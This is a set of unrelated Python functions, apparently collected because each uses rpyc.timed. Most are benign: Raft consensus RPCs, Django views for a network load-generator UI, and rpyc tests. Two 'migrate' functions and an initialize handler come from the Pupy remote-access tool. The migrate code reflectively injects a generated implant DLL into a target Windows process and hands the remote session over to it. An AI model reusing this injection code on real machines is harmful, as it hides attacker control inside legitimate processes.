def request_vote_value(self, node_ip, node_port, request_vote_echo, voted_servers): lock = threading.Lock() try: conn = rpyc.connect(node_ip, node_port) async_call = rpyc.timed(conn.root.request_vote, 0.2) result = async_call(self.current_term, self.server_idx) request_vote_echo.append(result) term, vote_granted, server_ip, server_port = result.value voted_servers.append((server_ip, server_port)) print(term, vote_granted) if vote_granted: self.votes += 1 print(self.votes) else: if term > self.current_term: lock.acquire() self.current_term = term self.state = 'follower' self.vote_for = -1 self.write_to_disk(self.current_term, self.vote_for) lock.release() except Exception as e: print(e) finally: self.processed += 1 return
def test_timed(self): timed_sleep = rpyc.timed(self.a_sleep, 5) print( timed_sleep ) res = timed_sleep(3) print( res.value ) res = timed_sleep(7) print( res.value )
def migrate(module, pid, keep=False, timeout=30): module.client.load_package("pupwinutils.processes") dllbuf=b"" isProcess64bits=False module.success("looking for configured connect back address ...") res=module.client.conn.modules['pupy'].get_connect_back_host() host, port=res.rsplit(':',1) module.success("address configured is %s:%s ..."%(host,port)) module.success("looking for process %s architecture ..."%pid) arch = None if module.client.conn.modules['pupwinutils.processes'].is_process_64(pid): isProcess64bits=True arch='x64' module.success("process is 64 bits") else: arch='x86' module.success("process is 32 bits") conf=module.client.get_conf() #uncomment this to debug pupy injected DLL loading #conf['offline_script']=parse_scriptlets(["stdout_to_file,path=C:\\pupy.log"], debug=False) dllbuff, filename, _ = pupygen.generate_binary_from_template( conf, 'windows', arch=arch, shared=True ) module.success("Template: {}".format(filename)) module.success("injecting DLL in target process %s ..."%pid) module.client.conn.modules['pupy'].reflective_inject_dll(pid, dllbuff, isProcess64bits) module.success("DLL injected !") if keep: return module.success("waiting for a connection from the DLL ...") time_end = time.time() + timeout c = False mexit = rpyc.timed(module.client.conn.exit, 5) while True: c = has_proc_migrated(module.client, pid) if c: module.success("got a connection from migrated DLL !") c.pupsrv.move_id(c, module.client) try: try: mexit() except: pass module.success("migration completed") module.client.conn._conn.close() # force the socket to close and clean sessions list except Exception: pass break elif time.time() > time_end: module.error("migration timed out !") break time.sleep(0.5)
def run_loadgens_first(request): if request.method == "POST": if "duration" in request.POST: try: duration = int(request.POST["duration"]) except ValueError: print("Loadgen duration is not a number. Taking 10 seconds.") duration = 10 else: duration = 10 l4_selected = request.POST["l4_selected"] packet_size_mtu = request.POST["packet_size_mtu"] if "loadgen_rate_limit" in request.POST: try: loadgen_rate_limit = int(request.POST["loadgen_rate_limit"]) except ValueError: print("loadgen_rate_limit is not a number, no rate limit set.") loadgen_rate_limit = 0 else: loadgen_rate_limit = 0 if "loadgen_flows" in request.POST: try: loadgen_flows = int(request.POST["loadgen_flows"]) except ValueError: loadgen_flows = 3 print("loadgen_flows is not a number, set 3 flows") else: loadgen_flows = 3 if "loadgen_server_groups[]" in request.POST: try: loadgen_server_groups = [] for item in request.POST.getlist("loadgen_server_groups[]"): loadgen_server_groups.append(int(item)) except Exception: loadgen_server_groups = [1] print(traceback.format_exc()) else: loadgen_server_groups = [1] try: t_timeout = round(duration * 2 * loadgen_flows + 60) start_loadgens = rpyc.timed(globals.core_conn.root.start_loadgens, t_timeout) file_id = start_loadgens(duration, l4_selected, packet_size_mtu, loadgen_rate_limit, loadgen_flows, loadgen_server_groups) file_id.wait() file_id_val = file_id.value globals.selected_run_id = file_id_val return render_loadgens(request, file_id_val, duration=duration) except Exception as e: print("Exception in run_loadgens: " + str(e)) return render(request, "middlebox/timeout.html", { "inside_ajax": True, "error": ("run loadgen error: " + str(e)) })
def render_loadgens(request, file_id, duration=10): try: process_loadgens = rpyc.timed(globals.core_conn.root.process_loadgens, duration * 2) results = process_loadgens(file_id) results.wait() results = results.value if results is not None: output, total_bits, error, total_retransmits, total_byte, \ custom_attr, to_plot = results output = P4STA_utils.flt(output) custom_attr = P4STA_utils.flt(custom_attr) else: error = True output = [ "Sorry an error occured!", "The core returned NONE from loadgens which is a result" " of an internal error in the loadgen module." ] total_bits = total_retransmits = total_byte = 0 custom_attr = {"l4_type": "", "name_list": [], "elems": {}} cfg = P4STA_utils.read_result_cfg(file_id) return render( request, "middlebox/output_loadgen.html", { "cfg": cfg, "output": output, "total_gbits": analytics.find_unit_bit_byte(total_bits, "bit"), "cachebuster": str(time.time()).replace(".", ""), "total_retransmits": total_retransmits, "total_gbyte": analytics.find_unit_bit_byte(total_byte, "byte"), "error": error, "custom_attr": custom_attr, "filename": file_id, "time": time.strftime("%H:%M:%S %d.%m.%Y", time.localtime( int(file_id))) }) except Exception as e: print(e) return render(request, "middlebox/timeout.html", { "inside_ajax": True, "error": ("render loadgen error: " + str(e)) })
def status_overview(request): try: status_overview = rpyc.timed(globals.core_conn.root.status_overview, 60)() status_overview.wait() cfg = status_overview.value cfg = P4STA_utils.flt(cfg) return render(request, "middlebox/output_status_overview.html", cfg) except Exception as e: print(e) return render(request, "middlebox/timeout.html", { "inside_ajax": True, "error": ("stamper status error: " + str(e)) })
def stop_external(request): if request.is_ajax(): try: # read time increases with amount of hosts stop_external = rpyc.timed(globals.core_conn.root.stop_external, 60 * 50) stoppable = stop_external() stoppable.wait() return render(request, "middlebox/output_external_stopped.html", {"stoppable": stoppable.value}) except Exception as e: return render( request, "middlebox/timeout.html", { "inside_ajax": True, "error": ("stop external host error: " + str(e)) })
def exposed_initialize_v1(self, namespace, modules, builtin, register_cleanup, unregister_cleanup, obtain_call, remote_exit, remote_eval, remote_execute, pupyimporter, infos): self.namespace = namespace self.modules = modules self.builtin = self.builtins = builtin self.register_remote_cleanup = rpyc. async (register_cleanup) self.unregister_remote_cleanup = rpyc. async (unregister_cleanup) self.obtain_call = obtain_call self.exit = rpyc.timed(remote_exit, 1) self.eval = remote_eval self.execute = remote_execute self.pupyimporter = pupyimporter self.infos = msgpack.loads(infos) self.get_infos = lambda: self.infos self.pupy_srv.add_client(self)
def start_stamper_software(request): if request.is_ajax(): try: # some stamper targets may take long time to start start_stamper = rpyc.timed( globals.core_conn.root.start_stamper_software, 80) answer = start_stamper() answer.wait() if answer.value is not None: raise Exception(answer.value) time.sleep(1) return render(request, "middlebox/empty.html") except Exception as e: return render(request, "middlebox/timeout.html", { "inside_ajax": True, "error": ("start stamper " + str(e)) })
def deploy(request): if not request.is_ajax(): return try: deploy = rpyc.timed(globals.core_conn.root.deploy, 40) answer = deploy() answer.wait() try: deploy_error = answer.value.replace(" ", "").replace("\n", "") except Exception: deploy_error = "" return render(request, "middlebox/output_deploy.html", {"deploy_error": deploy_error}) except Exception as e: print(e) return render(request, "middlebox/timeout.html", { "inside_ajax": True, "error": ("Exception Deploy: " + str(e)) })
def heat_beat_value(self, node_ip, node_port, heart_beat_echo): lock = threading.Lock() try: conn = rpyc.connect(node_ip, node_port) async_call = rpyc.timed(conn.root.append_entries, 0.5) result = async_call(self.current_term, self.server_idx) heart_beat_echo.append(result) term, success = result.value if term > self.current_term: lock.acquire() self.state = 'follower' self.vote_for = -1 self.current_term = term self.write_to_disk(self.current_term, self.vote_for) lock.release() except Exception: pass finally: self.processed += 1 return
def stamper_status_wrapper(request, html_file): stamper_status = rpyc.timed(globals.core_conn.root.stamper_status, 40) stamper_status_job = stamper_status() try: stamper_status_job.wait() result = stamper_status_job.value cfg, lines_pm, running, dev_status = result cfg = P4STA_utils.flt(cfg) # cfg contains host status information lines_pm = P4STA_utils.flt(lines_pm) return render( request, html_file, { "dev_status": dev_status, "dev_is_running": running, "pm": lines_pm, "cfg": cfg }) except Exception as e: print(e) return render(request, "middlebox/timeout.html", { "inside_ajax": True, "error": ("stamper status error " + str(e)) })
def migrate(module, pid, keep=False, timeout=30): module.client.load_package("pupwinutils.processes") dllbuf=b"" isProcess64bits=False module.success("looking for configured connect back address ...") try: res=module.client.conn.modules['pupy'].get_connect_back_host() host, port=res.rsplit(':',1) module.success("address configured is %s:%s ..."%(host,port)) except: if not keep: module.error("launcher doesn't support connect back host information, disable keep") keep = True module.success("looking for process %s architecture ..."%pid) arch = None if module.client.conn.modules['pupwinutils.processes'].is_process_64(pid): isProcess64bits=True arch='x64' module.success("process is 64 bits") else: arch='x86' module.success("process is 32 bits") conf=module.client.get_conf() #uncomment this to debug pupy injected DLL loading #conf['offline_script']=parse_scriptlets(["stdout_to_file,path=C:\\pupy.log"], debug=False) dllbuff, filename, _ = pupygen.generate_binary_from_template( conf, 'windows', arch=arch, shared=True ) module.success("Template: {}".format(filename)) module.success("injecting DLL in target process %s ..."%pid) module.client.conn.modules['pupy'].reflective_inject_dll(pid, dllbuff, isProcess64bits) module.success("DLL injected !") if keep: return module.success("waiting for a connection from the DLL ...") time_end = time.time() + timeout c = False mexit = rpyc.timed(module.client.conn.exit, 5) while True: c = has_proc_migrated(module.client, pid) if c: module.success("got a connection from migrated DLL !") c.pupsrv.move_id(c, module.client) try: try: mexit() except: pass module.success("migration completed") module.client.conn._conn.close() # force the socket to close and clean sessions list except Exception: pass break elif time.time() > time_end: module.error("migration timed out !") break time.sleep(0.5)
def get_k(self, target, ip): timed_k = rpyc.timed(self.conn.get_k, 10) return timed_k(target, ip).value
def get_latency(self, target1, ip1, target2, ip2): timed_latency = rpyc.timed(self.conn.root.get_latency, 10) return timed_latency(target1, ip1, target2, ip2).value
def test_timed(self): timed_sleep = rpyc.timed(self.conn.modules.time.sleep, 5) res = timed_sleep(3) res.value res = timed_sleep(7) self.assertRaises(rpyc.AsyncResultTimeout, lambda: res.value)